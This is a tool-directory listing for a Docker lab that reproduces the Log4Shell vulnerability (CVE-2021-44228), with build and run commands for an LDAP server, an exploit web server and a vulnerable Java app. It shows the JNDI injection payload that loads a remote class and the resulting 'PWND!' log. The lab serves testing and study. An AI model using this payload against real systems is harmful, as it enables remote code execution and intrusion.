Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228_Example — Docker-based reproduction environment for CVE-2021-44228 (Log4Shell) with marshalsec LDAP server, exploit web server, and vulnerable Java application for testing JNDI injection. | Kitploit
Tools/GitHubGitHub/chilliwebs/cve-2021-44228_example
Dynamic Analysis (Sandboxing)Payload GenerationVulnerability AnalysisExploitationWeb Application Exploitation
GitHubchilliwebs/cve-2021-44228_example

CVE-2021-44228_Example

Docker-based reproduction environment for CVE-2021-44228 (Log4Shell) with marshalsec LDAP server, exploit web server, and vulnerable Java application for testing JNDI injection.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
124 years agoNot yet reviewed
Share

CVE-2021-44228_Example

Run each of the 3 sections in a spearate tab/console

marshalsec LDAP server https://github.com/chilliwebs/marshalsec (Forked from https://github.com/mbechler/marshalsec)

root@kitploit:~
docker build -t marshalsec marshalsec/.
docker run -it --rm -p 1389:1389 --add-host=host.docker.internal:172.17.0.1 --name marshalsec marshalsec

The Exploit Web Server

root@kitploit:~
docker build -t exploit ./exploit
docker run -it --rm -p 8888:8888 --add-host=host.docker.internal:172.17.0.1 --name exploit exploit

The Guinea Pig java app (running vulnerable versions of java and Log4J)

root@kitploit:~
docker build -t guinea_pig guinea_pig/.
docker run -it --rm --add-host=host.docker.internal:172.17.0.1 --name guinea_pig guinea_pig

When running the guinea_pig you should see the following logged:

root@kitploit:~
PWND!
[main] ERROR gp.GuineaPig - ${jndi:ldap://host.docker.internal:1389/#Exploit}

"PWND!" is logged from an externally injected class (Exploit)

Download Tool